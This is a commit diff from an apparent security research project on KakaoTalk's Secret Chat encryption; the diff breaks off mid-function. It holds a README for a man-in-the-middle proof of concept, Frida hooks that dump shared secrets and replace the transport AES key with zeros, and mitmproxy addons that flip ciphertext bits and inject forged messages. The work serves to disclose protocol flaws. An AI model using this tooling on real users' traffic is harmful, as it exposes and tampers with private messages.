Fix Secret Chat MITM script

This commit is contained in:
stulle123 2023-12-20 19:05:29 +01:00
parent 013ffbdbd4
commit f704b2928e
15 changed files with 469 additions and 471 deletions

View File

@ -1,30 +1,50 @@
# Secret Chat # Secret Chat
E2E is opt-in only. Most people probably dont use Secret Chat since `In a secret chatrooom, features including free calling, polls, events and chatroom album are currently not available`. *Secret Chat* is KakaoTalk's E2E encryption feature. It was added on top of the existing [LOCO protocol](https://kth.diva-portal.org/smash/get/diva2:1046438/FULLTEXT01.pdf#page=77) which has a couple of [flaws](https://kth.diva-portal.org/smash/get/diva2:1046438/FULLTEXT01.pdf#page=100) including missing integrity protection of the ciphertext.
Main implementation in package `com.kakao.talk.secret` and the `LocoCipherHelper ` class. *Secret Chat* is opt-in only and not enabled by default in the KakaoTalk mobile app. Most users might not use *Secret Chat* as it doesn't have the same feature set as regular non-E2E encrypted chat rooms.
MITM PoC: We've created a simple script to man-in-the-middle *Secret Chat* communications with `Frida` and `mitmproxy`. It demonstrates a well-known server-side attack in which the operator (i.e. KakaoTalk) can spoof a client's public key to intercept and read E2E encrypted chat messages.
After the MITM attack there's no immediate warning message in the chat. Only if both parties go to `Chatroom Settings` -> `Public Key` and compare their public key fingerprints, the attack can be detected.
This is how one can run the PoC:
- Assumption: You've already set up your test environment (see setup description [here](./SETUP.md))
- Wipe all entries in the `public_key_info` and `secret_key_info` tables from the `KakaoTalk.db` database
- Start `mitmproxy`: `$ mitmdump -m wireguard -s mitm_secret_chat.py`
- Start `Frida`: `$ frida -U -l loco-tracer.js -f com.kakao.talk`
- Create new *Secret Chat* room in KakaoTalk app and sent a message
- View message in `mitmproxy` terminal window
How it works:
- Server-side `GETLPK` packet gets intercepted -> Inject MITM public key
- Server-side `SCREATE` packet gets intercepted -> Remove already existing shared secret (if any)
- Sender sends a `SETSK` packet -> `mitmproxy` script grabs shared secret and re-encrypts it with the recipient's original public key
- Using the shared secret, the script computes the E2E encryption key
- `MSG` and `SWRITE` packets are decrypted and dumped in the `mitmproxy` terminal
Known issues:
- Malformed `SCREATE` packets lead to parsing errors -> work-around: restart the script and try again :wink:
- Sometimes the shared secret can't be decrypted and the script fails with a `ValueError` exception (`Encryption/decryption failed`) -> just try again :wink:
Android implementation specifics:
- Main *Secret Chat* implementation in package `com.kakao.talk.secret` and in the `LocoCipherHelper ` class
- Sender's RSA public key pair in `TalkKeyStore.preferences.xml` - Sender's RSA public key pair in `TalkKeyStore.preferences.xml`
- Receiver's public keys in `KakaoTalk.db` - Receiver's public keys in table `public_key_info` of `KakaoTalk.db` database
- PoC how-to: - Shared secret stored in table `secret_key_info` of `KakaoTalk.db` database
- Delete all public keys from `KakaoTalk.db` database
- Start mitmproxy and Frida script TO-DOS:
- Create new Secret Chat room
- `GETLPK` packet gets intercepted -> Maybe we don't need that?
- `SCREATE` packet gets intercepted (shouldn't include a shared secret, otherwise we remove it)
- Bad signature check of MITM public key doesn't seem to have any implications
- Sender sends a `SETSK` packet (mitmproxy grabs shared secret)
- Dump `SWRITE` packets
Questions:
- How to attack an already existing E2E chat room? - How to attack an already existing E2E chat room?
- How to fix maldformed `SCREATE` packets?
- Check public key fingerprints if they have changed - Check public key fingerprints if they have changed
- Reinstall the app and check whether a warning shows up
- What about the master secret? -> Remove it!
- Test CFB bit flipping - Test CFB bit flipping
- Test Secret Chat interception with `mitmproxy` script
* Use value from `pt` field to compute the nonce Demo:
* Does a warning pop up?
* What about the master secret? ![MITM](https://github.com/stulle123/kakaotalk_analysis/tree/main/scripts/mitmproxy/secret_chat_demo.gif?raw=true)

Binary file not shown.

After

Width:  |  Height:  |  Size: 334 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 428 KiB

View File

@ -1,39 +1,5 @@
/* /*
TODO: KakaoTalk 10.4.3
- Hook Ed25519 (verify and sign)
- AESCTRHelper
- CipherSpec
- Aes256Cipher
- SimpleCipher
- Hook Java Crypto APIs:
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.KeyFactory;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.MessageDigest;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.SecureRandom;
import java.security.Signature;
import java.security.spec.PKCS8EncodedKeySpec;
import java.security.spec.X509EncodedKeySpec;
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.Mac;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
import lc2.EdDSAEngine;
import lc2.EdDSAPrivateKey;
import lc2.EdDSAPublicKey;
import oc2.EdDSANamedCurveSpec;
import oc2.EdDSANamedCurveTable;
import oc2.EdDSAParameterSpec;
import oc2.EdDSAPrivateKeySpec;
import oc2.EdDSAPublicKeySpec;
*/ */
Java.perform(function () { Java.perform(function () {
@ -56,57 +22,51 @@ Java.perform(function () {
hookKeyGeneratorGetInstance3(); hookKeyGeneratorGetInstance3();
hookKeyPairGeneratorGetInstance(); // Kakaotalk hookKeyPairGeneratorGetInstance(); // Kakaotalk
*/ */
// hookV2SLSinkInit(); // Kakaotalk // hookCipherInit();
hookCipherInit(); // hookCipherInit2(); // Kakaotalk
hookCipherInit2(); // Kakaotalk
// hookCipherInit3(); // hookCipherInit3();
// hookCipherInit4(); // Kakaotalk // hookCipherInit4(); // Kakaotalk
// hookCipherInit5(); // hookCipherInit5();
hookCipherInit6(); // Kakaotalk // hookCipherInit6(); // Kakaotalk
// hookCipherInit7(); // hookCipherInit7();
// hookCipherInit8(); // hookCipherInit8();
// hookPBEKeySpec(); // hookPBEKeySpec();
// hookPBEKeySpec2(); // hookPBEKeySpec2();
// hookPBEKeySpec3(); // Kakaotalk // hookPBEKeySpec3(); // Kakaotalk
hookDoFinal(); // hookDoFinal();
// hookDoFinal2(); // Kakaotalk // hookDoFinal2(); // Kakaotalk
hookDoFinal3(); // hookDoFinal3();
hookDoFinal4(); // hookDoFinal4();
hookDoFinal5(); // hookDoFinal5();
hookDoFinal7(); // hookDoFinal7();
// hookIVParameterSpecDefInit1(); // Kakaotalk // hookIVParameterSpecDefInit1(); // Kakaotalk
// hookIVParameterSpecDefInit2(); // Kakaotalk // hookIVParameterSpecDefInit2(); // Kakaotalk
// hookSecretKeySpecDefInit1(); // Kakaotalk // hookSecretKeySpecDefInit1(); // Kakaotalk
// hookSecretKeySpecDefInit2(); // Kakaotalk // hookSecretKeySpecDefInit2(); // Kakaotalk
hookKeyGeneratorInit(); // Kakaotalk // hookKeyGeneratorInit(); // Kakaotalk
hookKeyGeneratorGenerateKey(); // Kakaotalk hookKeyGeneratorGenerateKey(); // Kakaotalk
hookLocoCipherHelper(); hookSharedSecretStore();
// hookLocoCipherHelper_2(); // hookLocoCipherHelper_2();
hookLocoCipherHelper_3(); // hookLocoCipherHelper_GenerateRSAPrivateKey();
hookLocoCipherHelper_4(); // hookLocoCipherHelper_GenerateRSAPublicKey();
hookLocoCipherHelper_6(); // hookSecretChatHelper_3();
hookSecretChatHelper();
hookSecretChatHelper_2();
hookSecretChatHelper_3();
// hookLocoPubKeyInfo(); // hookLocoPubKeyInfo();
// hookWTFbase64();
// hookLocoCipherHelper_5(); // hookLocoCipherHelper_5();
// hookLocoSKeyInfo(); // printLocoBody();
// hookTalkLocoPKStore(); // hookTalkLocoPKStore();
// hookTalkLocoPKStore_2(); // hookTalkLocoPKStore_2();
// hookAESCTRHelper(); // hookAESCTRHelper_GenerateIV();
// hookAESCTRKeySet(); // printAESCTRKeySet();
// enableWebviewDebugging(); // enableWebviewDebugging();
// hookTest();
// hookURIController();
// deepLinkSniffer(); // deepLinkSniffer();
// hookStrings(); // hookStrings();
}); });
const locoKey = Java.array("byte", [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]); const locoKey = Java.array("byte", [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]);
const doNotHookFileNames = ["SimpleCipher.kt", "AccountUpdater.kt", "DataBaseResourceCrypto.kt", "CookieContentEncryptor.java", "Aes256Cipher.kt", "V2SLSink.kt", "V2SLSource.kt", "V2SLHandshake.kt", "LocoV2SLSocket.kt"] const locoFileNames = ["V2SLSink.kt", "V2SLSource.kt", "V2SLHandshake.kt", "LocoV2SLSocket.kt"];
const patchKey = true; const doNotHookFileNames = ["SimpleCipher.kt", "AccountUpdater.kt", "DataBaseResourceCrypto.kt", "CookieContentEncryptor.java", "Aes256Cipher.kt", "TiaraEncrypt.java"].concat(locoFileNames);
const printStacktrace = true; const patchLocoKey = true;
const printStacktrace = false;
const hookAllClasses = false; const hookAllClasses = false;
var StringCls = null; var StringCls = null;
@ -306,11 +266,11 @@ function hookDoFinal2() {
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1]; var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
if (!(doNotHookFileNames.includes(caller.getFileName())) || hookAllClasses) { if (!(doNotHookFileNames.includes(caller.getFileName())) || hookAllClasses) {
console.log("[Cipher.doFinal2()]: " + " cipherObj: " + this); console.log("[Cipher.doFinal2()]: " + " cipherObj: " + this);
console.log("Caller " + caller.getFileName()) console.log("Caller: " + caller.getFileName())
dumpByteArray("In buffer (cipher: " + this.getAlgorithm() + ")", byteArr); dumpByteArray("In buffer (cipher: " + this.getAlgorithm() + ")", byteArr);
// dumpByteArray("Result", tmp); // dumpByteArray("Result", tmp);
var result_base64 = Java.use("android.util.Base64").encodeToString(tmp, 0); var result_base64 = Java.use("android.util.Base64").encodeToString(tmp, 0);
console.log("Result in Base64: " + result_base64) // console.log("Result in Base64: " + result_base64)
if (printStacktrace) { if (printStacktrace) {
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "") var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "")
console.log(stacktrace); console.log(stacktrace);
@ -616,8 +576,8 @@ function hookKeyGeneratorGenerateKey() {
console.log(stacktrace); console.log(stacktrace);
} }
} }
if (patchKey) { if (patchLocoKey) {
console.log("Patching LOCO AES key...") dumpByteArray("Patching LOCO AES key with key", locoKey);
const SecretKeySpec = Java.use("javax.crypto.spec.SecretKeySpec"); const SecretKeySpec = Java.use("javax.crypto.spec.SecretKeySpec");
var fakeKey = SecretKeySpec.$new(locoKey, "AES"); var fakeKey = SecretKeySpec.$new(locoKey, "AES");
tmp = fakeKey tmp = fakeKey
@ -687,27 +647,16 @@ function hookPBEKeySpec3() {
/* /*
.overload("xc2.b0", "java.security.Key") .overload("xc2.b0", "java.security.Key")
*/ */
function hookV2SLSinkInit() {
var V2SLSinkInit = Java.use("mw0.d")["$init"].overload("xc2.b0", "java.security.Key");
V2SLSinkInit.implementation = function (arg0, arg1) {
var tmp = this.$init(arg0, arg1);
const secretKeySpec = Java.cast(arg1, Java.use("javax.crypto.spec.SecretKeySpec"));
const encodedKey = secretKeySpec.getEncoded();
dumpByteArray("V2SLSinkInit called with AES Key", encodedKey);
console.log("##############################################")
}
}
function hookLocoCipherHelper() { function hookSharedSecretStore() {
var locoCipherHelper = Java.use("com.kakao.talk.secret.LocoCipherHelper$e")["$init"].overload("java.lang.String", "long"); var locoCipherHelper = Java.use("com.kakao.talk.secret.LocoCipherHelper$e")["$init"].overload("java.lang.String", "long");
locoCipherHelper.implementation = function (arg0, arg1) { locoCipherHelper.implementation = function (arg0, arg1) {
var tmp = this.$init(arg0, arg1); var tmp = this.$init(arg0, arg1);
console.log("hookLocoCipherHelper called!");
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1]; var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
console.log(caller.getFileName()); console.log("Secret Chat shared secret: " + arg0);
console.log("Master key: " + arg0); console.log("Secret Chat seed for nonce: " + arg1);
console.log("Nonce: " + arg1);
console.log(this.toString()); console.log(this.toString());
console.log("Caller: " + caller.getFileName());
console.log("##############################################") console.log("##############################################")
} }
} }
@ -724,12 +673,11 @@ function hookLocoCipherHelper_2() {
} }
} }
function hookLocoCipherHelper_3() { function hookLocoCipherHelper_GenerateRSAPrivateKey() {
var locoCipherHelper = Java.use("com.kakao.talk.secret.LocoCipherHelper")["e"].overload("java.lang.String"); var locoCipherHelper = Java.use("com.kakao.talk.secret.LocoCipherHelper")["e"].overload("java.lang.String");
locoCipherHelper.implementation = function (arg0) { locoCipherHelper.implementation = function (arg0) {
console.log("hookLocoCipherHelper3 called!");
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1]; var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
console.log(caller.getFileName()); console.log("Caller: " + caller.getFileName());
var private_key = locoCipherHelper.call(this, arg0); var private_key = locoCipherHelper.call(this, arg0);
// var encoded_key = Java.use("android.util.Base64").encodeToString(private_key.getEncoded(), 0); // var encoded_key = Java.use("android.util.Base64").encodeToString(private_key.getEncoded(), 0);
console.log("Generate RSA private key from string: " + arg0); console.log("Generate RSA private key from string: " + arg0);
@ -739,13 +687,12 @@ function hookLocoCipherHelper_3() {
} }
} }
function hookLocoCipherHelper_4() { function hookLocoCipherHelper_GenerateRSAPublicKey() {
var locoCipherHelper = Java.use("com.kakao.talk.secret.LocoCipherHelper")["f"].overload("java.lang.String"); var locoCipherHelper = Java.use("com.kakao.talk.secret.LocoCipherHelper")["f"].overload("java.lang.String");
locoCipherHelper.implementation = function (arg0) { locoCipherHelper.implementation = function (arg0) {
console.log("hookLocoCipherHelper4 called!");
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1]; var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
var ret = locoCipherHelper.call(this, arg0); var ret = locoCipherHelper.call(this, arg0);
console.log("Caller " + caller.getFileName()); console.log("Caller: " + caller.getFileName());
console.log("Generate RSA public key from string: " + arg0); console.log("Generate RSA public key from string: " + arg0);
var public_key = locoCipherHelper.call(this, arg0); var public_key = locoCipherHelper.call(this, arg0);
// var encoded_key = Java.use("android.util.Base64").encodeToString(public_key.getEncoded(), 0); // var encoded_key = Java.use("android.util.Base64").encodeToString(public_key.getEncoded(), 0);
@ -773,19 +720,8 @@ function hookLocoCipherHelper_5() {
} }
} }
function hookLocoCipherHelper_6() {
var locoCipherHelper = Java.use("com.kakao.talk.secret.LocoCipherHelper")["l"].overload();
locoCipherHelper.implementation = function () {
console.log("hookLocoCipherHelper6 called!");
var key = locoCipherHelper.call(this);
dumpByteArray("Generated shared secret", key);
console.log("##############################################")
return locoCipherHelper.call(this);
}
}
function hookLocoPubKeyInfo() { function hookLocoPubKeyInfo() {
var locoPubKeyInfo = Java.use("tz0.n")["$init"].overload("com.kakao.talk.loco.protocol.LocoBody"); var locoPubKeyInfo = Java.use("t41.n")["$init"].overload("com.kakao.talk.loco.protocol.LocoBody");
locoPubKeyInfo.implementation = function (locoBody) { locoPubKeyInfo.implementation = function (locoBody) {
var tmp = this.$init(locoBody); var tmp = this.$init(locoBody);
console.log("locoPubKeyInfo called!"); console.log("locoPubKeyInfo called!");
@ -796,36 +732,6 @@ function hookLocoPubKeyInfo() {
} }
} }
function hookSecretChatHelper() {
var secretChatHelper = Java.use("com.kakao.talk.secret.b")["k"].overload("long", "long");
secretChatHelper.implementation = function (arg0, arg1) {
console.log("secretChatHelper called!");
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
console.log(caller.getFileName());
console.log("Long 1: " + arg0);
console.log("Long 2: " + arg1);
var ret = secretChatHelper.call(this, arg0, arg1);
console.log("##############################################")
return secretChatHelper.call(this, arg0, arg1);
}
}
function hookSecretChatHelper_2() {
var secretChatHelper = Java.use("com.kakao.talk.secret.b$e")["a"].overload("long", "long");
secretChatHelper.implementation = function (arg0, arg1) {
console.log("secretChatHelper2 called!");
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
console.log(caller.getFileName());
console.log("Long 1: " + arg0);
console.log("Long 2: " + arg1);
var ret = secretChatHelper.call(this, arg0, arg1);
console.log(ret);
console.log(this.a);
console.log("##############################################")
return secretChatHelper.call(this, arg0, arg1);
}
}
function hookSecretChatHelper_3() { function hookSecretChatHelper_3() {
var secretChatHelper = Java.use("com.kakao.talk.secret.b$e")["b"].overload("com.kakao.talk.secret.b$d"); var secretChatHelper = Java.use("com.kakao.talk.secret.b$e")["b"].overload("com.kakao.talk.secret.b$d");
secretChatHelper.implementation = function (arg0) { secretChatHelper.implementation = function (arg0) {
@ -838,40 +744,20 @@ function hookSecretChatHelper_3() {
} }
} }
function hookWTFbase64() { function printLocoBody() {
var wtfBase64 = Java.use("com.kakao.talk.util.r")["a"].overload("java.lang.String"); Java.choose("com.kakao.talk.loco.protocol.LocoBody", {
wtfBase64.implementation = function (arg0) { onMatch: function (instance) {
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1]; if (instance) {
if (!(doNotHookFileNames.includes(caller.getFileName())) || hookAllClasses) { console.log("LOCO body: " + instance);
console.log("WTF called"); }
console.log("Caller: " + caller.getFileName()); },
console.log("Base64 encoded: " + arg0); onComplete: function () { }
var ret = wtfBase64.call(this, arg0);
dumpByteArray("Base64 decoded bytes", ret);
console.log("##############################################")
}
return wtfBase64.call(this, arg0);
}
}
function hookLocoSKeyInfo() { });
var locoSKeyInfo = Java.use("tz0.o")["$init"].overload("com.kakao.talk.loco.protocol.LocoBody");
locoSKeyInfo.implementation = function (arg0) {
var tmp = this.$init(arg0);
console.log("hookLocoSKeyInfo called!");
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
console.log("au: " + this.a);
console.log("sk: " + this.b);
console.log("as: " + this.c);
console.log("pt: " + this.d);
console.log("apt: " + this.e);
console.log("st: " + this.f);
console.log("##############################################")
}
} }
function hookTalkLocoPKStore() { function hookTalkLocoPKStore() {
var talkLocoPKStore = Java.use("df1.e4")["toString"].overload(); var talkLocoPKStore = Java.use("yl1.x3")["toString"].overload();
talkLocoPKStore.implementation = function () { talkLocoPKStore.implementation = function () {
console.log("talkLocoPKStore called!"); console.log("talkLocoPKStore called!");
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1]; var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
@ -884,7 +770,7 @@ function hookTalkLocoPKStore() {
} }
function hookTalkLocoPKStore_2() { function hookTalkLocoPKStore_2() {
var talkLocoPKStore = Java.use("df1.e4$a")["toString"].overload(); var talkLocoPKStore = Java.use("yl1.x3$a")["toString"].overload();
talkLocoPKStore.implementation = function () { talkLocoPKStore.implementation = function () {
console.log("talkLocoPKStore2 called!"); console.log("talkLocoPKStore2 called!");
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1]; var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
@ -896,20 +782,18 @@ function hookTalkLocoPKStore_2() {
} }
} }
function hookAESCTRHelper() { function hookAESCTRHelper_GenerateIV() {
var AESCTRHelper = Java.use("sy.a")["b"].overload("java.lang.String", "[B", "int", "javax.crypto.spec.PBEKeySpec"); var AESCTRHelper = Java.use("d20.a")["b"].overload("java.lang.String", "[B", "int", "javax.crypto.spec.PBEKeySpec");
AESCTRHelper.implementation = function (arg0, arg1, arg2, arg3) { AESCTRHelper.implementation = function (arg0, arg1, arg2, arg3) {
console.log("hookAESCTRHelper called!");
dumpByteArray("Generated IV", arg1); dumpByteArray("Generated IV", arg1);
console.log("##############################################"); console.log("##############################################");
return AESCTRHelper.call(this, arg0, arg1, arg2, arg3); return AESCTRHelper.call(this, arg0, arg1, arg2, arg3);
} }
} }
function hookAESCTRKeySet() { function printAESCTRKeySet() {
var AESCTRKeySet = Java.use("sy.b")["$init"].overload("[B", "[B", "[B"); var AESCTRKeySet = Java.use("d20.b")["$init"].overload("[B", "[B", "[B");
AESCTRKeySet.implementation = function (arg0, arg1, arg2) { AESCTRKeySet.implementation = function (arg0, arg1, arg2) {
console.log("AESCTRKeySet called!");
dumpByteArray("Secret key", arg0); dumpByteArray("Secret key", arg0);
dumpByteArray("IV", arg1); dumpByteArray("IV", arg1);
dumpByteArray("arg2", arg2); dumpByteArray("arg2", arg2);
@ -984,20 +868,6 @@ function enableWebviewDebugging() {
this.onPageStarted.overload("android.webkit.WebView", "java.lang.String", "android.graphics.Bitmap").call(this, view, url, favicon); this.onPageStarted.overload("android.webkit.WebView", "java.lang.String", "android.graphics.Bitmap").call(this, view, url, favicon);
} }
var loadURL = Java.use("com.kakao.talk.gametab.widget.webview.KGWebViewLayout").j.overload("android.webkit.WebView", "java.lang.String", "java.util.Map");
loadURL.implementation = function (arg0, arg1, arg2) {
console.log("KGWebViewLayout loadURL START");
console.log(arg0);
console.log(arg1);
printMap(arg2);
if (printStacktrace) {
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "")
console.log(stacktrace);
}
console.log("KGWebViewLayout loadURL END");
return this.j(arg0, arg1, arg2);
}
var webviewHelper = Java.use("com.kakao.talk.widget.webview.WebViewHelper"); var webviewHelper = Java.use("com.kakao.talk.widget.webview.WebViewHelper");
var downloadFile = webviewHelper.newDownloadFile.overload("java.lang.String"); var downloadFile = webviewHelper.newDownloadFile.overload("java.lang.String");
@ -1018,102 +888,6 @@ function enableWebviewDebugging() {
console.log(ret); console.log(ret);
return ret; return ret;
} }
/*
var hookHelp = Java.use("com.kakao.talk.webview.activity.HelpActivity").shouldOverrideUrlLoading.overload("android.webkit.WebView", "java.lang.String");
hookHelp.implementation = function (arg0, arg1) {
console.log("HELP START");
console.log(arg0);
console.log(arg1);
if (printStacktrace) {
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "")
console.log(stacktrace);
}
console.log("HELP END");
return this.shouldOverrideUrlLoading(arg0, arg1);
}
*/
/*
var hookHelp2 = Java.use("com.kakao.talk.webview.activity.HelpActivity")["a"].overload("java.lang.String");
hookHelp2.implementation = function (arg0) {
console.log("HELP START");
console.log(arg0);
if (printStacktrace) {
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "")
console.log(stacktrace);
}
console.log("HELP END");
return this.a(arg0);
}
*/
var hookHelp3 = Java.use("com.kakao.talk.webview.activity.HelpActivity")["loadUrl"].overload("java.lang.String", "java.util.Map");
hookHelp3.implementation = function (arg0, arg1) {
console.log("HELP START");
console.log(arg0);
if (printStacktrace) {
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "")
console.log(stacktrace);
}
console.log("HELP END");
return this.loadUrl(arg0, arg1);
}
}
function hookTest() {
var hookTest = Java.use("db2.q").O.overload("java.lang.String", "java.lang.String", "java.lang.Boolean");
hookTest.implementation = function (arg0, arg1, arg2) {
this.O.overload("java.lang.String", "java.lang.String", "java.lang.Boolean").call(this, arg0, arg1, arg2);
console.log(arg0);
console.log(arg1);
}
}
function hookURIController() {
var hookTest = Java.use("xv0.k").b.overload("android.content.Context", "android.net.Uri", "java.util.Map");
hookTest.implementation = function (arg0, arg1, arg2) {
console.log("URI Controller START");
console.log(arg0);
console.log(arg1);
printMap(arg2);
if (printStacktrace) {
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "");
console.log(stacktrace);
}
console.log("URI Controller END");
return this.b(arg0, arg1, arg2);
}
var hookTest2 = Java.use("xv0.k").a.overload("android.content.Context", "android.net.Uri", "java.util.Map");
hookTest2.implementation = function (arg0, arg1, arg2) {
console.log("URI Controller 2 START");
console.log(arg0);
console.log(arg1);
printMap(arg2);
if (printStacktrace) {
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "");
console.log(stacktrace);
}
console.log("URI Controller 2 END");
return this.a(arg0, arg1, arg2);
}
var hookStartIntent = Java.use("xv0.k").e.overload("android.content.Context", "java.lang.String");
hookStartIntent.implementation = function (context, str) {
console.log("Context: " + context);
console.log("String: " + str);
return this.e(context, str);
}
/*
var hookIntentChecker = Java.use("xv0.k").d.overload("android.content.Context", "java.lang.String", "java.lang.Boolean");
hookIntentChecker.implementation = function (context, str, bool) {
console.log("Context: " + context);
console.log("String: " + str);
return this.d(context, str, bool);
}
*/
} }
function deepLinkSniffer() { function deepLinkSniffer() {

View File

@ -27,10 +27,19 @@ PublicKey = K+t/qiGO8tlA9L7wjAOb8wqjnu/NuthHgLs2gOCIDgY=
AllowedIPs = 0.0.0.0/0 AllowedIPs = 0.0.0.0/0
Endpoint = 10.0.2.2:51820 Endpoint = 10.0.2.2:51820
``` ```
- Import the config in the WireGuard app - Import the config into the WireGuard app
Back on your MITM host start Frida (see [setup instructions](../../README.md#setup-frida-to-disable-certificate-pinning)): Back on your MITM host start Frida (see [setup instructions](../../SETUP.md#setup-frida-to-disable-certificate-pinning)):
```bash ```bash
# Start frida-server
$ adb root && adb shell /data/local/tmp/frida-server
# Start LOCO debugging script
$ frida -U -l loco-tracer.js -f com.kakao.talk $ frida -U -l loco-tracer.js -f com.kakao.talk
``` ```
To run the unit tests:
- Install `pytest` and `pytest-datadir` via pip
- Run the tests: `$ pytest tests/test_loco_parser.py`

View File

@ -0,0 +1,58 @@
import logging
from lib.loco_parser import LocoParser
from mitmproxy import connection, tcp, tls
from mitmproxy.utils import human, strutils
class LocoMitmBase:
def __init__(self, rsa_key_pair, master_secret=None, test_key=None) -> None:
self.parser = LocoParser()
self.rsa_key_pair = rsa_key_pair
self.recipient_user_id = 0
self.recipient_public_key = b""
self.shared_secret = b""
self.master_secret = master_secret
self.e2e_encryption_key = test_key
@staticmethod
def get_addr(server: connection.Server):
return server.peername or server.address
def tls_clienthello(self, data: tls.ClientHelloData):
server_address = self.get_addr(data.context.server)
logging.info("Skip TLS intercept for %s.", human.format_address(server_address))
data.ignore_connection = True
class FlipCiphertextBits(LocoMitmBase):
def __init__(self) -> None:
self.parser = LocoParser()
def tcp_message(self, flow: tcp.TCPFlow):
message = flow.messages[-1]
self.parser.parse(message.content)
if self.parser.loco_packet:
logging.info(
"from_client=%s, content=%s",
message.from_client,
self.parser.loco_packet.get_packet_as_dict(),
)
else:
logging.warning(
"from_client=%s, raw packet bytes=%s",
message.from_client,
strutils.bytes_to_escaped_str(message.content),
)
return
# Flip bits of the ciphertext to show CFB malleability
flipped_packet = self.parser.flip_bits()
if flipped_packet:
message.content = flipped_packet
addons = [FlipCiphertextBits()]

View File

@ -0,0 +1,60 @@
import logging
from lib.loco_parser import LocoParser
from mitmproxy import connection, tcp, tls
from mitmproxy.utils import human, strutils
class LocoMitmBase:
def __init__(self, rsa_key_pair, master_secret=None, test_key=None) -> None:
self.parser = LocoParser()
self.rsa_key_pair = rsa_key_pair
self.recipient_user_id = 0
self.recipient_public_key = b""
self.shared_secret = b""
self.master_secret = master_secret
self.e2e_encryption_key = test_key
@staticmethod
def get_addr(server: connection.Server):
return server.peername or server.address
def tls_clienthello(self, data: tls.ClientHelloData):
server_address = self.get_addr(data.context.server)
logging.info("Skip TLS intercept for %s.", human.format_address(server_address))
data.ignore_connection = True
class InjectMessage(LocoMitmBase):
def __init__(self, trigger_msg, new_msg) -> None:
self.parser = LocoParser()
self.trigger_msg = trigger_msg
self.new_msg = new_msg
def tcp_message(self, flow: tcp.TCPFlow):
message = flow.messages[-1]
self.parser.parse(message.content)
if self.parser.loco_packet:
logging.info(
"from_client=%s, content=%s",
message.from_client,
self.parser.loco_packet.get_packet_as_dict(),
)
else:
logging.warning(
"from_client=%s, raw packet bytes=%s",
message.from_client,
strutils.bytes_to_escaped_str(message.content),
)
return
# Inject a new message to show that there are no integrity checks on the ciphertext
tampered_packet = self.parser.inject_message(self.trigger_msg, self.new_msg)
if tampered_packet:
message.content = tampered_packet
addons = [InjectMessage(trigger_msg="foo", new_msg="bar")]

View File

@ -5,7 +5,7 @@ from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
# Key used by Frida script to patch AES encryption key # Key used by Frida script to patch KakaoTalk's AES encryption key
_AES_KEY = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" _AES_KEY = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

View File

@ -5,23 +5,29 @@ import re
import struct import struct
import bson import bson
from lib.crypto_utils import (
from .crypto_utils import (aes_decrypt, aes_e2e_decrypt, aes_encrypt, aes_decrypt,
compute_key, compute_nonce, get_rsa_public_key_pem, aes_e2e_decrypt,
rsa_decrypt, rsa_encrypt) aes_encrypt,
compute_key,
compute_nonce,
get_rsa_public_key_pem,
rsa_decrypt,
rsa_encrypt,
)
class LocoPacket: class LocoPacket:
def __init__( def __init__(
self, self,
id=0, identifier=0,
status_code=0, status_code=0,
loco_command="", loco_command="",
body_type=0, body_type=0,
body_length=0, body_length=0,
body_payload=b"", body_payload=b"",
): ):
self.id = id self.id = identifier
self.status_code = status_code self.status_code = status_code
self.loco_command = loco_command self.loco_command = loco_command
self.body_type = body_type self.body_type = body_type
@ -56,8 +62,9 @@ class LocoPacket:
): ):
loco_dict["body_payload"] = self.body_payload loco_dict["body_payload"] = self.body_payload
except Exception as general_exception: except Exception as general_exception:
loco_dict = {}
logging.error( logging.error(
